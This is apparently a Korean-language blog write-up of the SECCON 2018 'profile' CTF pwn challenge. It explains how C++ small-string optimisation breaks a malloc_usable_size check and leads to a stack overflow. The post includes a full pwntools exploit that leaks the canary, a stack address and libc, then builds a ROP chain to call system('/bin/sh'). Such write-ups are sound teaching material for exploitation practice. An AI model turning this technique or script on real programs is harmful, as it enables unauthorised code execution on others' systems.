SECCON2018/pwn/profile

풀 이

2018.11.14 13:01

pwn/profile

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

간단한 로직이지만 c++의 맹글링과 익숙하지 않은 클래스의 동작 때문에 힘들었던 문제..

 

풀이

Please introduce yourself!
Name >> expt0
Age >> 5
Message >> a

1 : update message
2 : show profile
0 : exit
>> 

프로그램의 로직은 굉장히 간단하다. 처음 실행시 이름/나이/메세지를 입력받게 되고 update_msg, show 두 가지 함수를 이용해 메세지를 수정하고, 프로필을 출력한다.

 

먼저 update_msg를 분석하면 다음과 같이 usable_malloc_size의 반환값인, 힙의 사이즈만큼 입력을 받게 된다. 그러니 안전하게 입력을 받을 수 있게 되는것이다. 하지만 문제는 C++의 String의 경우 SSO(Small String Sptimization)가 있는데 문자열의 크기가 작을 경우 heap을 할당해서 저장하는건 비효율적이므로 스택을 이용하는 매커니즘이다. 

 

[----------------------------------registers-----------------------------------]
RAX: 0xfffffffffffffff8 
-- 중략 --
[-------------------------------------code-------------------------------------]
   0x4010b2 <_ZN7Profile10update_msgEv+28>:	mov    rax,QWORD PTR [rbp-0x10]
   0x4010b6 <_ZN7Profile10update_msgEv+32>:	mov    rdi,rax
   0x4010b9 <_ZN7Profile10update_msgEv+35>:	call   0x400e90 <malloc_usable_size@plt>
=> 0x4010be <_ZN7Profile10update_msgEv+40>:	mov    QWORD PTR [rbp-0x8],rax

그러므로 작은 양의 문자열을 주어 스택에 할당하면, usable_malloc_size의 결과값이 굉장히 엉뚱한 값이 반환되게 된다. (당연하게도 usable_malloc_size는 heap chunk의 size 필드를 참고하여 결과값을 반환하기 때문에 .. ) 이런 상황이 되면 우리는 무한정 입력값을 입력할 수 있게 된다.

 

0x7fffffffe560:	0x00007fffffffe570	0x0000000000000001 < *Message >
0x7fffffffe570:	0x00007fffffff007a	0x000000000040155a < Message buffer >
0x7fffffffe580:	0x00007fffffffe5[C]	0x0000000000000008 < *Name >
0x7fffffffe590:	0x6463626164636261	0x0000000000000000 < Name buffer >
0x7fffffffe5a0:	0x000000000000000a	0xfbb474ec0483f200 < Canary >
0x7fffffffe5b0:	0x00007fffffffe6a0	0x0000000000000000
0x7fffffffe5c0:	0x00000000004016b0	0x00007ffff7495830 < ret(= __libc_start_main) >

그러면 기본적으로 Stack overflow공격을 수행할 수 있는데 그러기 위해서는 먼저 스택의 모양을 알아둘 필요가 있다. 먼저 Profile 클래스는 지역변수로 할당되는데 위치는 $rbp-0x60에 위치한다.

 

message, name, age는 연속된 위치에 존재하게 되는데 update_msg를 통해서 message를 overflow시키면 name buffer를 가리키는 포인터 주소를 조정할 수 있다. 이를 통해서 우리가 알 수 있는건 name의 포인터 주소를 조정함으로써 스택상에 존재하는 Canary와 Stack address, __libc_start_main등을 알 수 있다.

 

 13     for i in range(0, 0x100, 8):
 14         profile.update('e'*0x10+chr(i))
 15         if profile.show()['Name'] == 'a'*8:
 16             x = i-0x10

먼저 정상적인 name의 위치를 찾기 위해서 update_msg함수를 통해 name의 포인터 주소 하위 1byte를 부르트포싱을 수행한다. 조건은 입력한 name이 출력되는지 이다.

정상적인 name의 포인터 주소를 찾았다면(=Name의 출력값이 입력한 Name이 출력되면) -0x10이 포인터 변수의 주소를 의미한다.

 

 18     leak_stack = leakf(profile, x)
 19     leak_canary = leakf(profile, x+8*5)
 20     leak_libc_main = leakf(profile, x+8*9) - 0xf0
    ...
 41 def leakf(prof, offset):
 42     prof.update('x'*0x10+chr(offset))
 43     return u64(prof.show()['Name'])

이를 통해서 각 위치에 맞게 offset를 더해주면 Canary등을 얻을 수 있다. 이렇게 얻은 주소를 통해서 system, /bin/sh를 구성하고 canary를 우회하여 stack bufferoverflow 공격이 가능하게 된다.

 

Expwn!

#!/usr/bin/evn python
from pwn import *

context(os = 'linux', arch = 'amd64')

e = ELF('./profile_e814c1a78e80ed250c17e94585224b3f3be9d383')

binsh_offset = 0x16c617
system_offset = 0x24c50

def exploit(conn):
    profile = Profile(conn, 'a'*8, 10, 'z')
    for i in range(0, 0x100, 8):
        profile.update('e'*0x10+chr(i))
        if profile.show()['Name'] == 'a'*8:
            x = i-0x10

    leak_stack = leakf(profile, x)
    leak_canary = leakf(profile, x+8*5)
    leak_libc_main = leakf(profile, x+8*9) - 0xf0
    info('Leaked stack address = 0x{:08x}'.format(leak_stack))
    info('Leaked stack canary = 0x{:08x}'.format(leak_canary))
    info('Leaked libc_main = 0x{:08x}'.format(leak_libc_main))

    rop = ROP('./profile_e814c1a78e80ed250c17e94585224b3f3be9d383')

    payload = ''
    payload += 'x'*0x10
    payload += p64(leak_stack+0x10)
    payload += 'x'*0x20
    payload += p64(leak_canary)
    payload += 'x'*0x18
    payload += p64(rop.rdi.address)
    payload += p64(leak_libc_main+binsh_offset)
    payload += p64(leak_libc_main+system_offset) 
    profile.update(payload)
    profile.exit()

    conn.interactive()

def leakf(prof, offset):
    prof.update('x'*0x10+chr(offset))
    return u64(prof.show()['Name'])

class Profile:
    def __init__(self, conn, name, age, msg):
        self.recvuntil      = conn.recvuntil
        self.recv           = conn.recv
        self.sendline       = conn.sendline
        self.send           = conn.send
        self.sendlineafter  = conn.sendlineafter
        self.sendafter      = conn.sendafter

        self.sendlineafter('Name >> ', name)
        self.sendlineafter('Age >> ', str(age))
        self.sendlineafter('Message >> ', msg)

    def update(self, msg):
        self.sendlineafter('>> ', '1')
        self.sendlineafter('message >> ', msg)

    def show(self):
        self.sendlineafter('>> ', '2')
        data = self.recvuntil('\n\n', drop=True)
        data = re.findall(r'(.*) : (.*)', data)
        return dict(data)

    def exit(self):
        self.sendlineafter('>> ', '0')

if __name__ == '__main__':
    conn = process(['./profile_e814c1a78e80ed250c17e94585224b3f3be9d383'], env = {'LD_PRELOAD':'./libc-2.23.so_56d992a0342a67a887b8dcaae381d2cc51205253'})
    exploit(conn)

 

'풀 이' 카테고리의 다른 글

UUTCTF2019 Again find the flag  (0) 2019.05.05
드래곤  (0) 2019.04.30
SECCON2018/pwn/profile  (0) 2018.11.14
h3x0rCTF/pwn/libsteak  (0) 2018.11.04
hacklu2018/pwn/baby-kernel  (0) 2018.10.23
hacklu-2018/rev/baby-reverse  (0) 2018.10.20